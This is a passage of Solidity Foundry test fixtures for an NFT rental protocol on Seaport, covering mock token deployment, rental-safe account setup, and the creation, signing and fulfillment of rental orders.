_deployErc1155Token(); } } function _deployErc20Token() internal returns (uint256 i) { // save the token's index i = erc20s.length; // deploy the mock token MockERC20 token = new MockERC20(); // push the token to the array of mocks erc20s.push(token); // set the token label with the index vm.label(address(token), string.concat("MERC20_", LibString.toString(i))); } function _deployErc721Token() internal returns (uint256 i) { // save the token's index i = erc721s.length; // deploy the mock token MockERC721 token = new MockERC721(); // push the token to the array of mocks erc721s.push(token); // set the token label with the index vm.label(address(token), string.concat("MERC721_", LibString.toString(i))); } function _deployErc1155Token() internal returns (uint256 i) { // save the token's index i = erc1155s.length; // deploy the mock token MockERC1155 token = new MockERC1155(); // push the token to the array of mocks erc1155s.push(token); // set the token label with the index vm.label(address(token), string.concat("MERC1155_", LibString.toString(i))); } function _deployRentalSafe( address owner, string memory name ) internal returns (address safe) { // Deploy a 1/1 rental safe address[] memory owners = new address[](1); owners[0] = owner; safe = factory.deployRentalSafe(owners, 1); } function _fundWalletAndDeployRentalSafe( string memory name ) internal returns (ProtocolAccount memory account) { // create a wallet with a address, public key, and private key Vm.Wallet memory wallet = vm.createWallet(name); // deploy a rental safe for the address address rentalSafe = _deployRentalSafe(wallet.addr, name); // fund the wallet with ether, all erc20s, and approve the conduit for erc20s, erc721s, erc1155s _allocateTokensAndApprovals(wallet.addr, 10000); // create an account account = ProtocolAccount({ addr: wallet.addr, safe: SafeL2(payable(rentalSafe)), publicKeyX: wallet.publicKeyX, publicKeyY: wallet.publicKeyY, privateKey: wallet.privateKey }); } function _allocateTokensAndApprovals(address to, uint128 amount) internal { // deal ether to the recipient vm.deal(to, amount); // mint all erc20 tokens to the recipient for (uint256 i = 0; i < erc20s.length; ++i) { erc20s[i].mint(to, amount); } // set token approvals _setApprovals(to); } function _setApprovals(address owner) internal { // impersonate the owner address vm.startPrank(owner); // set all approvals for erc20 tokens for (uint256 i = 0; i < erc20s.length; ++i) { erc20s[i].approve(address(conduit), type(uint256).max); } // set all approvals for erc721 tokens for (uint256 i = 0; i < erc721s.length; ++i) { erc721s[i].setApprovalForAll(address(conduit), true); } // set all approvals for erc1155 tokens for (uint256 i = 0; i < erc1155s.length; ++i) { erc1155s[i].setApprovalForAll(address(conduit), true); } // stop impersonating vm.stopPrank(); } } interface ERC1155TokenReceiver { function onERC1155Received( address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data ) external returns (bytes4); function onERC1155BatchReceived( address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data ) external returns (bytes4); } interface ERC721TokenReceiver { function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4); } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * Borrowed from gnosis safe smart contracts * @title Default Callback Handler - Handles supported tokens' callbacks, allowing Safes receiving these tokens. * @author Richard Meissner - @rmeissner */ contract TokenCallbackHandler is ERC1155TokenReceiver, ERC721TokenReceiver, IERC165 { /** * @notice Handles ERC1155 Token callback. * return Standardized onERC1155Received return value. */ function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure override returns (bytes4) { return 0xf23a6e61; } /** * @notice Handles ERC1155 Token batch callback. * return Standardized onERC1155BatchReceived return value. */ function onERC1155BatchReceived( address, address, uint256[] calldata, uint256[] calldata, bytes calldata ) external pure override returns (bytes4) { return 0xbc197c81; } /** * @notice Handles ERC721 Token callback. * return Standardized onERC721Received return value. */ function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) { return 0x150b7a02; } /** * @notice Handles ERC777 Token callback. * return nothing (not standardized) */ function tokensReceived(address, address, address, uint256, bytes calldata, bytes calldata) external pure { // We implement this for completeness, doesn't really have any value } /** * @notice Implements ERC165 interface support for ERC1155TokenReceiver, ERC721TokenReceiver and IERC165. * @param interfaceId Id of the interface. * @return if the interface is supported. */ function supportsInterface(bytes4 interfaceId) external view virtual override returns (bool) { return interfaceId == type(ERC1155TokenReceiver).interfaceId || interfaceId == type(ERC721TokenReceiver).interfaceId || interfaceId == type(IERC165).interfaceId; } } // Sets up logic in the test engine related to order creation // Borrowed from test/fixtures/engine/OrderCreator contract OrderCreator is AccountCreator { using OfferItemLib for OfferItem; using ConsiderationItemLib for ConsiderationItem; using OrderComponentsLib for OrderComponents; using OrderLib for Order; using ECDSA for bytes32; // defines a config for a standard order component string constant STANDARD_ORDER_COMPONENTS = "standard_order_components"; struct OrderToCreate { ProtocolAccount offerer; OfferItem[] offerItems; ConsiderationItem[] considerationItems; OrderMetadata metadata; } // keeps track of tokens used during a test uint256[] usedOfferERC721s; uint256[] usedOfferERC1155s; uint256[] usedConsiderationERC721s; uint256[] usedConsiderationERC1155s; // components of an order OrderToCreate orderToCreate; function setUp() public virtual override { super.setUp(); // Define a standard OrderComponents struct which is ready for // use with the Create Policy and the protocol conduit contract OrderComponentsLib .empty() .withOrderType(SeaportOrderType.FULL_RESTRICTED) .withZone(address(create)) .withStartTime(block.timestamp) .withEndTime(block.timestamp + 100) .withSalt(123456789) .withConduitKey(conduitKey) .saveDefault(STANDARD_ORDER_COMPONENTS); // for each test token, create a storage slot for (uint256 i = 0; i < erc721s.length; i++) { usedOfferERC721s.push(); usedConsiderationERC721s.push(); usedOfferERC1155s.push(); usedConsiderationERC1155s.push(); } } ///////////////////////////////////////////////////////////////////////////////// // Order Creation // ///////////////////////////////////////////////////////////////////////////////// // creates an order based on the provided context. The defaults on this order // are good for most test cases. function createOrder( ProtocolAccount memory offerer, OrderType orderType, uint256 erc721Offers, uint256 erc1155Offers, uint256 erc20Offers, uint256 erc721Considerations, uint256 erc1155Considerations, uint256 erc20Considerations ) internal { // require that the number of offer items or consideration items // dont exceed the number of test tokens require( erc721Offers <= erc721s.length && erc721Offers <= erc1155s.length && erc20Offers <= erc20s.length, "TEST: too many offer items defined" ); require( erc721Considerations <= erc721s.length && erc1155Considerations <= erc1155s.length && erc20Considerations <= erc20s.length, "TEST: too many consideration items defined" ); // create the offerer _createOfferer(offerer); // add the offer items _createOfferItems(erc721Offers, erc1155Offers, erc20Offers); // create the consideration items _createConsiderationItems( erc721Considerations, erc1155Considerations, erc20Considerations ); // Create order metadata _createOrderMetadata(orderType); } // Creates an offerer on the order to create function _createOfferer(ProtocolAccount memory offerer) private { orderToCreate.offerer = offerer; } // Creates offer items which are good for most tests function _createOfferItems( uint256 erc721Offers, uint256 erc1155Offers, uint256 erc20Offers ) private { // generate the ERC721 offer items for (uint256 i = 0; i < erc721Offers; ++i) { // create the offer item orderToCreate.offerItems.push( OfferItemLib .empty() .withItemType(ItemType.ERC721) .withToken(address(erc721s[i])) .withIdentifierOrCriteria(usedOfferERC721s[i]) .withStartAmount(1) .withEndAmount(1) ); // mint an erc721 to the offerer erc721s[i].mint(orderToCreate.offerer.addr); // update the used token so it cannot be used again in the same test usedOfferERC721s[i]++; } // generate the ERC1155 offer items for (uint256 i = 0; i < erc1155Offers; ++i) { // create the offer item orderToCreate.offerItems.push( OfferItemLib .empty() .withItemType(ItemType.ERC1155) .withToken(address(erc1155s[i])) .withIdentifierOrCriteria(usedOfferERC1155s[i]) .withStartAmount(100) .withEndAmount(100) ); // mint an erc1155 to the offerer erc1155s[i].mint(orderToCreate.offerer.addr, 100); // update the used token so it cannot be used again in the same test usedOfferERC1155s[i]++; } // generate the ERC20 offer items for (uint256 i = 0; i < erc20Offers; ++i) { // create the offer item orderToCreate.offerItems.push( OfferItemLib .empty() .withItemType(ItemType.ERC20) .withToken(address(erc20s[i])) .withStartAmount(100) .withEndAmount(100) ); } } // Creates consideration items that are good for most tests function _createConsiderationItems( uint256 erc721Considerations, uint256 erc1155Considerations, uint256 erc20Considerations ) private { // generate the ERC721 consideration items for (uint256 i = 0; i < erc721Considerations; ++i) { // create the consideration item, and set the recipient as the offerer's // rental safe address orderToCreate.considerationItems.push( ConsiderationItemLib .empty() .withRecipient(address(orderToCreate.offerer.safe)) .withItemType(ItemType.ERC721) .withToken(address(erc721s[i])) .withIdentifierOrCriteria(usedConsiderationERC721s[i]) .withStartAmount(1) .withEndAmount(1) ); // update the used token so it cannot be used again in the same test usedConsiderationERC721s[i]++; } // generate the ERC1155 consideration items for (uint256 i = 0; i < erc1155Considerations; ++i) { // create the consideration item, and set the recipient as the offerer's // rental safe address orderToCreate.considerationItems.push( ConsiderationItemLib .empty() .withRecipient(address(orderToCreate.offerer.safe)) .withItemType(ItemType.ERC1155) .withToken(address(erc1155s[i])) .withIdentifierOrCriteria(usedConsiderationERC1155s[i]) .withStartAmount(100) .withEndAmount(100) ); // update the used token so it cannot be used again in the same test usedConsiderationERC1155s[i]++; } // generate the ERC20 consideration items for (uint256 i = 0; i < erc20Considerations; ++i) { // create the offer item orderToCreate.considerationItems.push( ConsiderationItemLib .empty() .withRecipient(address(ESCRW)) .withItemType(ItemType.ERC20) .withToken(address(erc20s[i])) .withStartAmount(100) .withEndAmount(100) ); } } // Creates a order metadata that is good for most tests function _createOrderMetadata(OrderType orderType) private { // Create order metadata orderToCreate.metadata.orderType = orderType; orderToCreate.metadata.rentDuration = 500; orderToCreate.metadata.emittedExtraData = new bytes(0); } // creates a signed seaport order ready to be fulfilled by a renter function _createSignedOrder( ProtocolAccount memory _offerer, OfferItem[] memory _offerItems, ConsiderationItem[] memory _considerationItems, OrderMetadata memory _metadata ) private view returns (Order memory order, bytes32 orderHash) { // Build the order components OrderComponents memory orderComponents = OrderComponentsLib .fromDefault(STANDARD_ORDER_COMPONENTS) .withOfferer(_offerer.addr) .withOffer(_offerItems) .withConsideration(_considerationItems) .withZoneHash(create.getOrderMetadataHash(_metadata)) .withCounter(seaport.getCounter(_offerer.addr)); // generate the order hash orderHash = seaport.getOrderHash(orderComponents); // generate the signature for the order components bytes memory signature = _signSeaportOrder(_offerer.privateKey, orderHash); // create the order, but dont provide a signature if its a PAYEE order. // Since PAYEE orders are fulfilled by the offerer of the order, they // dont need a signature. if (_metadata.orderType == OrderType.PAYEE) { order = OrderLib.empty().withParameters(orderComponents.toOrderParameters()); } else { order = OrderLib .empty() .withParameters(orderComponents.toOrderParameters()) .withSignature(signature); } } function _signSeaportOrder( uint256 signerPrivateKey, bytes32 orderHash ) private view returns (bytes memory signature) { // fetch domain separator from seaport (, bytes32 domainSeparator, ) = seaport.information(); // sign the EIP-712 digest (uint8 v, bytes32 r, bytes32 s) = vm.sign( signerPrivateKey, domainSeparator.toTypedDataHash(orderHash) ); // encode the signature signature = abi.encodePacked(r, s, v); } ///////////////////////////////////////////////////////////////////////////////// // Order Amendments // ///////////////////////////////////////////////////////////////////////////////// function resetOrderToCreate() internal { delete orderToCreate; } function withOfferer(ProtocolAccount memory _offerer) internal { orderToCreate.offerer = _offerer; } function resetOfferer() internal { delete orderToCreate.offerer; } function withReplacedOfferItems(OfferItem[] memory _offerItems) internal { // reset all current offer items resetOfferItems(); // add the new offer items to storage for (uint256 i = 0; i < _offerItems.length; i++) { orderToCreate.offerItems.push(_offerItems[i]); } } function withOfferItem(OfferItem memory offerItem) internal { orderToCreate.offerItems.push(offerItem); } function resetOfferItems() internal { delete orderToCreate.offerItems; } function popOfferItem() internal { orderToCreate.offerItems.pop(); } function withReplacedConsiderationItems( ConsiderationItem[] memory _considerationItems ) internal { // reset all current consideration items resetConsiderationItems(); // add the new consideration items to storage for (uint256 i = 0; i < _considerationItems.length; i++) { orderToCreate.considerationItems.push(_considerationItems[i]); } } function withConsiderationItem(ConsiderationItem memory considerationItem) internal { orderToCreate.considerationItems.push(considerationItem); } function resetConsiderationItems() internal { delete orderToCreate.considerationItems; } function popConsiderationItem() internal { orderToCreate.considerationItems.pop(); } function withHooks(Hook[] memory hooks) internal { // delete the current metatdata hooks delete orderToCreate.metadata.hooks; // add each metadata hook to storage for (uint256 i = 0; i < hooks.length; i++) { orderToCreate.metadata.hooks.push(hooks[i]); } } function withOrderMetadata(OrderMetadata memory _metadata) internal { // update the static metadata parameters orderToCreate.metadata.orderType = _metadata.orderType; orderToCreate.metadata.rentDuration = _metadata.rentDuration; orderToCreate.metadata.emittedExtraData = _metadata.emittedExtraData; // update the hooks withHooks(_metadata.hooks); } function resetOrderMetadata() internal { delete orderToCreate.metadata; } ///////////////////////////////////////////////////////////////////////////////// // Order Finalization // ///////////////////////////////////////////////////////////////////////////////// function finalizeOrder() internal returns (Order memory, bytes32, OrderMetadata memory) { // create and sign the order (Order memory order, bytes32 orderHash) = _createSignedOrder( orderToCreate.offerer, orderToCreate.offerItems, orderToCreate.considerationItems, orderToCreate.metadata ); // pull order metadata into memory OrderMetadata memory metadata = orderToCreate.metadata; // clear structs resetOrderToCreate(); return (order, orderHash, metadata); } } // Sets up logic in the test engine related to order fulfillment // Borrowed from test/fixtures/engine/OrderFulfiller contract OrderFulfiller is OrderCreator { using ECDSA for bytes32; struct OrderToFulfill { bytes32 orderHash; RentPayload payload; AdvancedOrder advancedOrder; } // components of a fulfillment ProtocolAccount fulfiller; OrderToFulfill[] ordersToFulfill; Fulfillment[] seaportMatchOrderFulfillments; FulfillmentComponent[][] seaportOfferFulfillments; FulfillmentComponent[][] seaportConsiderationFulfillments; address seaportRecipient; ///////////////////////////////////////////////////////////////////////////////// // Fulfillment Creation // ///////////////////////////////////////////////////////////////////////////////// // creates an order fulfillment function createOrderFulfillment( ProtocolAccount memory _fulfiller, Order memory order, bytes32 orderHash, OrderMetadata memory metadata ) internal { // set the fulfiller account fulfiller = _fulfiller; // set the recipient of any offer items after an order is fulfilled. If the fulfillment is via // `matchAdvancedOrders`, then any unspent offer items will go to this address as well seaportRecipient = address(_fulfiller.safe); // get a pointer to a new order to fulfill OrderToFulfill storage orderToFulfill = ordersToFulfill.push(); // create an order fulfillment OrderFulfillment memory fulfillment = OrderFulfillment(address(_fulfiller.safe)); // add the order hash and fulfiller orderToFulfill.orderHash = orderHash; // create rental zone payload data _createRentalPayload( orderToFulfill.payload, RentPayload(fulfillment, metadata, block.timestamp + 100, _fulfiller.addr) ); // generate the signature for the payload bytes memory signature = _signProtocolOrder( rentalSigner.privateKey, create.getRentPayloadHash(orderToFulfill.payload) ); // create an advanced order from the order. Pass the rental // payload as extra data _createAdvancedOrder( orderToFulfill.advancedOrder, AdvancedOrder( order.parameters, 1, 1, order.signature, abi.encode(orderToFulfill.payload, signature) ) ); } function _createOrderFulfiller( ProtocolAccount storage storageFulfiller, ProtocolAccount memory _fulfiller ) private { storageFulfiller.addr = _fulfiller.addr; storageFulfiller.safe = _fulfiller.safe; storageFulfiller.publicKeyX = _fulfiller.publicKeyX; storageFulfiller.publicKeyY = _fulfiller.publicKeyY; storageFulfiller.privateKey = _fulfiller.privateKey; } function _createOrderFulfillment( OrderFulfillment storage storageFulfillment, OrderFulfillment memory fulfillment ) private { storageFulfillment.recipient = fulfillment.recipient; } function _createOrderMetadata( OrderMetadata storage storageMetadata, OrderMetadata memory metadata ) private { // Create order metadata in storage storageMetadata.orderType = metadata.orderType; storageMetadata.rentDuration = metadata.rentDuration; storageMetadata.emittedExtraData = metadata.emittedExtraData; // dynamically push the hooks from memory to storage for (uint256 i = 0; i < metadata.hooks.length; i++) { storageMetadata.hooks.push(metadata.hooks[i]); } } function _createRentalPayload( RentPayload storage storagePayload, RentPayload memory payload ) private { // set payload fulfillment on the order to fulfill _createOrderFulfillment(storagePayload.fulfillment, payload.fulfillment); // set payload metadata on the order to fulfill _createOrderMetadata(storagePayload.metadata, payload.metadata); // set payload expiration on the order to fulfill storagePayload.expiration = payload.expiration; // set payload intended fulfiller on the order to fulfill storagePayload.intendedFulfiller = payload.intendedFulfiller; } function _createAdvancedOrder( AdvancedOrder storage storageAdvancedOrder, AdvancedOrder memory advancedOrder ) private { // create the order parameters on the order to fulfill _createOrderParameters(storageAdvancedOrder.parameters, advancedOrder.parameters); // create the rest of the static parameters on the order to fulfill storageAdvancedOrder.numerator = advancedOrder.numerator; storageAdvancedOrder.denominator = advancedOrder.denominator; storageAdvancedOrder.signature = advancedOrder.signature; storageAdvancedOrder.extraData = advancedOrder.extraData; } function _createOrderParameters( OrderParameters storage storageOrderParameters, OrderParameters memory orderParameters ) private { // create the static order parameters for the order to fulfill storageOrderParameters.offerer = orderParameters.offerer; storageOrderParameters.zone = orderParameters.zone; storageOrderParameters.orderType = orderParameters.orderType; storageOrderParameters.startTime = orderParameters.startTime; storageOrderParameters.endTime = orderParameters.endTime; storageOrderParameters.zoneHash = orderParameters.zoneHash; storageOrderParameters.salt = orderParameters.salt; storageOrderParameters.conduitKey = orderParameters.conduitKey; storageOrderParameters.totalOriginalConsiderationItems = orderParameters .totalOriginalConsiderationItems; // create the dynamic order parameters for the order to fulfill for (uint256 i = 0; i < orderParameters.offer.length; i++) { storageOrderParameters.offer.push(orderParameters.offer[i]); } for (uint256 i = 0; i < orderParameters.consideration.length; i++) { storageOrderParameters.consideration.push(orderParameters.consideration[i]); } } function _createSeaportFulfillment( Fulfillment storage storageFulfillment, Fulfillment memory fulfillment ) private { // push the offer components to storage for (uint256 i = 0; i < fulfillment.offerComponents.length; i++) { storageFulfillment.offerComponents.push(fulfillment.offerComponents[i]); } // push the consideration components to storage for (uint256 i = 0; i < fulfillment.considerationComponents.length; i++) { storageFulfillment.considerationComponents.push( fulfillment.considerationComponents[i] ); } } function _seaportItemTypeToRentalItemType( SeaportItemType seaportItemType ) internal pure returns (RentalItemType) { if (seaportItemType == SeaportItemType.ERC20) { return RentalItemType.ERC20; } else if (seaportItemType == SeaportItemType.ERC721) { return RentalItemType.ERC721; } else if (seaportItemType == SeaportItemType.ERC1155) { return RentalItemType.ERC1155; } else { revert("seaport item type not supported"); } } function _createRentalOrder( OrderToFulfill memory orderToFulfill ) internal view returns (RentalOrder memory rentalOrder) { // get the order parameters OrderParameters memory parameters = orderToFulfill.advancedOrder.parameters; // get the payload RentPayload memory payload = orderToFulfill.payload; // get the metadata OrderMetadata memory metadata = payload.metadata; // construct a rental order rentalOrder = RentalOrder({ seaportOrderHash: orderToFulfill.orderHash, items: new Item[](parameters.offer.length + parameters.consideration.length), hooks: metadata.hooks, orderType: metadata.orderType, lender: parameters.offerer, renter: payload.intendedFulfiller, rentalWallet: payload.fulfillment.recipient, startTimestamp: block.timestamp, endTimestamp: block.timestamp + metadata.rentDuration }); // for each new offer item being rented, create a new item struct to add to the rental order for (uint256 i = 0; i < parameters.offer.length; i++) { // PAYEE orders cannot have offer items require( metadata.orderType != OrderType.PAYEE, "TEST: cannot have offer items in PAYEE order" ); // get the offer item OfferItem memory offerItem = parameters.offer[i]; // determine the item type RentalItemType itemType = _seaportItemTypeToRentalItemType(offerItem.itemType); // determine which entity the payment will settle to SettleTo settleTo = offerItem.itemType == SeaportItemType.ERC20 ? SettleTo.RENTER : SettleTo.LENDER; // create a new rental item rentalOrder.items[i] = Item({ itemType: itemType, settleTo: settleTo, token: offerItem.token, amount: offerItem.startAmount, identifier: offerItem.identifierOrCriteria }); } // for each consideration item in return, create a new item struct to add to the rental order for (uint256 i = 0; i < parameters.consideration.length; i++) { // PAY orders cannot have consideration items require( metadata.orderType != OrderType.PAY, "TEST: cannot have consideration items in PAY order" ); // get the offer item ConsiderationItem memory considerationItem = parameters.consideration[i]; // determine the item type RentalItemType itemType = _seaportItemTypeToRentalItemType( considerationItem.itemType ); // determine which entity the payment will settle to SettleTo settleTo = metadata.orderType == OrderType.PAYEE && considerationItem.itemType == SeaportItemType.ERC20 ? SettleTo.RENTER : SettleTo.LENDER; // calculate item index offset uint256 itemIndex = i + parameters.offer.length; // create a new payment item rentalOrder.items[itemIndex] = Item({ itemType: itemType, settleTo: settleTo, token: considerationItem.token, amount: considerationItem.startAmount, identifier: considerationItem.identifierOrCriteria }); } } function _signProtocolOrder( uint256 signerPrivateKey, bytes32 payloadHash ) internal view returns (bytes memory signature) { // fetch domain separator from create policy bytes32 domainSeparator = create.domainSeparator(); // sign the EIP-712 digest (uint8 v, bytes32 r, bytes32 s) = vm.sign( signerPrivateKey, domainSeparator.toTypedDataHash(payloadHash) ); // encode the signature signature = abi.encodePacked(r, s, v); } ///////////////////////////////////////////////////////////////////////////////// // Fulfillment Amendments // ///////////////////////////////////////////////////////////////////////////////// function withFulfiller(ProtocolAccount memory _fulfiller) internal { fulfiller = _fulfiller; } function withRecipient(address _recipient) internal { seaportRecipient = _recipient; } function withAdvancedOrder( AdvancedOrder memory _advancedOrder, uint256 orderIndex ) internal { // get a storage pointer to the order to fulfill OrderToFulfill storage orderToFulfill = ordersToFulfill[orderIndex]; // set the new advanced order _createAdvancedOrder(orderToFulfill.advancedOrder, _advancedOrder); } function withSeaportMatchOrderFulfillment(Fulfillment memory _fulfillment) internal { // get a pointer to a new seaport fulfillment Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push(); // set the fulfillment _createSeaportFulfillment( fulfillment, Fulfillment({ offerComponents: _fulfillment.offerComponents, considerationComponents: _fulfillment.considerationComponents }) ); } function withSeaportMatchOrderFulfillments( Fulfillment[] memory fulfillments ) internal { // reset all current seaport match order fulfillments resetSeaportMatchOrderFulfillments(); // add the new offer items to storage for (uint256 i = 0; i < fulfillments.length; i++) { // get a pointer to a new seaport fulfillment Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push(); // set the fulfillment _createSeaportFulfillment( fulfillment, Fulfillment({ offerComponents: fulfillments[i].offerComponents, considerationComponents: fulfillments[i].considerationComponents }) ); } } function withBaseOrderFulfillmentComponents() internal { // create offer fulfillments. We need to specify which offer items can be aggregated // into one transaction. For example, 2 different orders where the same seller is offering // the same item in each. // // Since BASE orders will only contain ERC721 offer items, these cannot be aggregated. So, a separate fulfillment // is created for each order. for (uint256 i = 0; i < ordersToFulfill.length; i++) { // get a pointer to a new offer fulfillment array. This array will contain indexes of // orders and items which are all grouped on whether they can be combined in a single transferFrom() FulfillmentComponent[] storage offerFulfillments = seaportOfferFulfillments .push(); // number of offer items in the order uint256 offerItemsInOrder = ordersToFulfill[i] .advancedOrder .parameters .offer .length; // add a single fulfillment component for each offer item in the order for (uint256 j = 0; j < offerItemsInOrder; j++) { offerFulfillments.push( FulfillmentComponent({orderIndex: i, itemIndex: j}) ); } } // create consideration fulfillments. We need to specify which consideration items can be aggregated // into one transaction. For example, 3 different orders where the same fungible consideration items are // expected in return. // // get a pointer to a new offer fulfillment array. This array will contain indexes of // orders and items which are all grouped on whether they can be combined in a single transferFrom() FulfillmentComponent[] storage considerationFulfillments = seaportConsiderationFulfillments.push(); // BASE orders will only contain ERC20 items, these are fungible and are candidates for aggregation. Because // all of these BASE orders will be fulfilled by the same EOA, and all ERC20 consideration items are going to the // ESCRW contract, the consideration items can be aggregated. In other words, Seaport will only make a single transfer // of ERC20 tokens from the fulfiller EOA to the payment escrow contract. // // put all fulfillments into one which can be an aggregated transfer for (uint256 i = 0; i < ordersToFulfill.length; i++) { considerationFulfillments.push( FulfillmentComponent({orderIndex: i, itemIndex: 0}) ); } } function withLinkedPayAndPayeeOrders( uint256 payOrderIndex, uint256 payeeOrderIndex ) internal { // get the PAYEE order OrderParameters memory payeeOrder = ordersToFulfill[payeeOrderIndex] .advancedOrder .parameters; // For each consideration item in the PAYEE order, a fulfillment should be // constructed with a corresponding item from the PAY order's offer items. for (uint256 i = 0; i < payeeOrder.consideration.length; ++i) { // define the offer components FulfillmentComponent[] memory offerComponents = new FulfillmentComponent[](1); offerComponents[0] = FulfillmentComponent({ orderIndex: payOrderIndex, itemIndex: i }); // define the consideration components FulfillmentComponent[] memory considerationComponents = new FulfillmentComponent[](1); considerationComponents[0] = FulfillmentComponent({ orderIndex: payeeOrderIndex, itemIndex: i }); // get a pointer to a new seaport fulfillment Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push(); // set the fulfillment _createSeaportFulfillment( fulfillment, Fulfillment({ offerComponents: offerComponents, considerationComponents: considerationComponents }) ); } } function resetFulfiller() internal { delete fulfiller; } function resetOrdersToFulfill() internal { delete ordersToFulfill; } function resetSeaportMatchOrderFulfillments() internal { delete seaportMatchOrderFulfillments; } ///////////////////////////////////////////////////////////////////////////////// // Fulfillment Finalization // ///////////////////////////////////////////////////////////////////////////////// function _finalizePayOrderFulfillment( bytes memory expectedError ) private returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder) { // get the orders to fulfill OrderToFulfill memory payOrder = ordersToFulfill[0]; OrderToFulfill memory payeeOrder = ordersToFulfill[1]; // create rental orders payRentalOrder = _createRentalOrder(payOrder); payeeRentalOrder = _createRentalOrder(payeeOrder); // expect an error if error data was provided if (expectedError.length != 0) { vm.expectRevert(expectedError); } // otherwise, expect the relevant event to be emitted. else { vm.expectEmit({emitter: address(create)}); emit Events.RentalOrderStarted( create.getRentalOrderHash(payRentalOrder), payOrder.payload.metadata.emittedExtraData, payRentalOrder.seaportOrderHash, payRentalOrder.items, payRentalOrder.hooks, payRentalOrder.orderType, payRentalOrder.lender, payRentalOrder.renter, payRentalOrder.rentalWallet, payRentalOrder.startTimestamp, payRentalOrder.endTimestamp ); } // the offerer of the PAYEE order fulfills the orders. vm.prank(fulfiller.addr); // fulfill the orders seaport.matchAdvancedOrders( _deconstructOrdersToFulfill(), new CriteriaResolver[](0), seaportMatchOrderFulfillments, seaportRecipient ); // clear structs resetFulfiller(); resetOrdersToFulfill(); resetSeaportMatchOrderFulfillments(); } function finalizePayOrderFulfillment() internal returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder) { (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(bytes("")); } function finalizePayOrderFulfillmentWithError( bytes memory expectedError ) internal returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder) { (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(expectedError); } function _finalizeBaseOrderFulfillment( bytes memory expectedError ) private returns (RentalOrder memory rentalOrder) { // get the order to fulfill OrderToFulfill memory baseOrder = ordersToFulfill[0]; // create a rental order rentalOrder = _createRentalOrder(baseOrder); // expect an error if error data was provided if (expectedError.length != 0) { vm.expectRevert(expectedError); } // otherwise, expect the relevant event to be emitted. else { vm.expectEmit({emitter: address(create)}); emit Events.RentalOrderStarted( create.getRentalOrderHash(rentalOrder), baseOrder.payload.metadata.emittedExtraData, rentalOrder.seaportOrderHash, rentalOrder.items, rentalOrder.hooks, rentalOrder.orderType, rentalOrder.lender, rentalOrder.renter, rentalOrder.rentalWallet, rentalOrder.startTimestamp, rentalOrder.endTimestamp ); } // the owner of the rental wallet fulfills the advanced order, and marks the rental wallet // as the recipient vm.prank(fulfiller.addr); seaport.fulfillAdvancedOrder( baseOrder.advancedOrder, new CriteriaResolver[](0), conduitKey, seaportRecipient ); // clear structs resetFulfiller(); resetOrdersToFulfill(); resetSeaportMatchOrderFulfillments(); } function finalizeBaseOrderFulfillment() internal returns (RentalOrder memory rentalOrder) { rentalOrder = _finalizeBaseOrderFulfillment(bytes("")); } function finalizeBaseOrderFulfillmentWithError( bytes memory expectedError ) internal returns (RentalOrder memory rentalOrder) { rentalOrder = _finalizeBaseOrderFulfillment(expectedError); } function finalizeBaseOrdersFulfillment() internal returns (RentalOrder[] memory rentalOrders) { // Instantiate rental orders uint256 numOrdersToFulfill = ordersToFulfill.length; rentalOrders = new RentalOrder[](numOrdersToFulfill); // convert each order to fulfill into a rental order for (uint256 i = 0; i < numOrdersToFulfill; i++) { rentalOrders[i] = _createRentalOrder(ordersToFulfill[i]); } // Expect the relevant events to be emitted. for (uint256 i = 0; i < rentalOrders.length; i++) { vm.expectEmit({emitter: address(create)}); emit Events.RentalOrderStarted( create.getRentalOrderHash(rentalOrders[i]), ordersToFulfill[i].payload.metadata.emittedExtraData, rentalOrders[i].seaportOrderHash, rentalOrders[i].items, rentalOrders[i].hooks, rentalOrders[i].orderType, rentalOrders[i].lender, rentalOrders[i].renter, rentalOrders[i].rentalWallet, rentalOrders[i].startTimestamp, rentalOrders[i].endTimestamp ); } // the owner of the rental wallet fulfills the advanced orders, and marks the rental wallet // as the recipient vm.prank(fulfiller.addr); seaport.fulfillAvailableAdvancedOrders( _deconstructOrdersToFulfill(), new CriteriaResolver[](0), seaportOfferFulfillments, seaportConsiderationFulfillments, conduitKey, seaportRecipient, ordersToFulfill.length ); // clear structs resetFulfiller(); resetOrdersToFulfill(); resetSeaportMatchOrderFulfillments(); } function finalizePayOrdersFulfillment() internal returns (RentalOrder[] memory rentalOrders) { // Instantiate rental orders uint256 numOrdersToFulfill = ordersToFulfill.length; rentalOrders = new RentalOrder[](numOrdersToFulfill); // convert each order to fulfill into a rental order for (uint256 i = 0; i < numOrdersToFulfill; i++) { rentalOrders[i] = _createRentalOrder(ordersToFulfill[i]); } // Expect the relevant events to be emitted. for (uint256 i = 0; i < rentalOrders.length; i++) { // only expect the event if its a PAY order if (ordersToFulfill[i].payload.metadata.orderType == OrderType.PAY) { vm.expectEmit({emitter: address(create)}); emit Events.RentalOrderStarted( create.getRentalOrderHash(rentalOrders[i]), ordersToFulfill[i].payload.metadata.emittedExtraData, rentalOrders[i].seaportOrderHash, rentalOrders[i].items, rentalOrders[i].hooks, rentalOrders[i].orderType, rentalOrders[i].lender, rentalOrders[i].renter, rentalOrders[i].rentalWallet, rentalOrders[i].startTimestamp, rentalOrders[i].endTimestamp ); } } // the offerer of the PAYEE order fulfills the orders. For this order, it shouldn't matter // what the recipient address is vm.prank(fulfiller.addr); seaport.matchAdvancedOrders( _deconstructOrdersToFulfill(), new CriteriaResolver[](0), seaportMatchOrderFulfillments, seaportRecipient ); // clear structs resetFulfiller(); resetOrdersToFulfill(); resetSeaportMatchOrderFulfillments(); } function _deconstructOrdersToFulfill() private view returns (AdvancedOrder[] memory advancedOrders) { // get the length of the orders to fulfill advancedOrders = new AdvancedOrder[](ordersToFulfill.length); // build up the advanced orders for (uint256 i = 0; i < ordersToFulfill.length; i++) { 